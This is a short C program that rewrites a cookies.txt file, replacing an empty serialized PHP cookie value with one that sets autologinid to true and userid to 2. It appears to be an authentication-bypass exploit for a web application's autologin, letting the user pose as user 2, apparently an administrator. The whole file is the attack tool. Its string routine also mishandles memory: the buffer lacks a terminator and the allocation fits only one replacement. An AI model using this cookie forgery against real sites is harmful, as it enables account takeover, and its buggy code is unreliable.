search_and_replace

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Taken from VeNoMouS's love cow code
char *search_and_replace (char *text, char *find, char *replace)
{
char *found,*new_text;
int
len_find=strlen(find),len_replace=strlen(replace),len_text=strlen(text),i=0,j=0;

if((new_text=(char*)malloc(len_text+len_replace-len_find+1))==NULL)
       {
       printf("malloc issue...\n");
       return new_text;
       }
found = strstr(text, find);
while (i <= len_text)
{
if ( found != text + i )
       {
       new_text[j] = text[i];
       i++;
       j++;
       }
       else
       {
           strcat (new_text, replace);
           i += len_find;
           j += len_replace;
           found = strstr (text + i, find);
       }
       new_text[j] = '\0';
}
return new_text;
}

int main()
{
  FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( "cookies.txt" , "r" );
  if (pFile==NULL) exit (1);

  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);
  fread (buffer,1,lSize,pFile);
  fclose (pFile);

  pFile = fopen ( "cookies.txt" , "w" );
  fputs(search_and_replace((char *)buffer,"a%3A0%3A%7B%7D","a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"), pFile);
  fclose (pFile);
  free (buffer);
  return 0;

}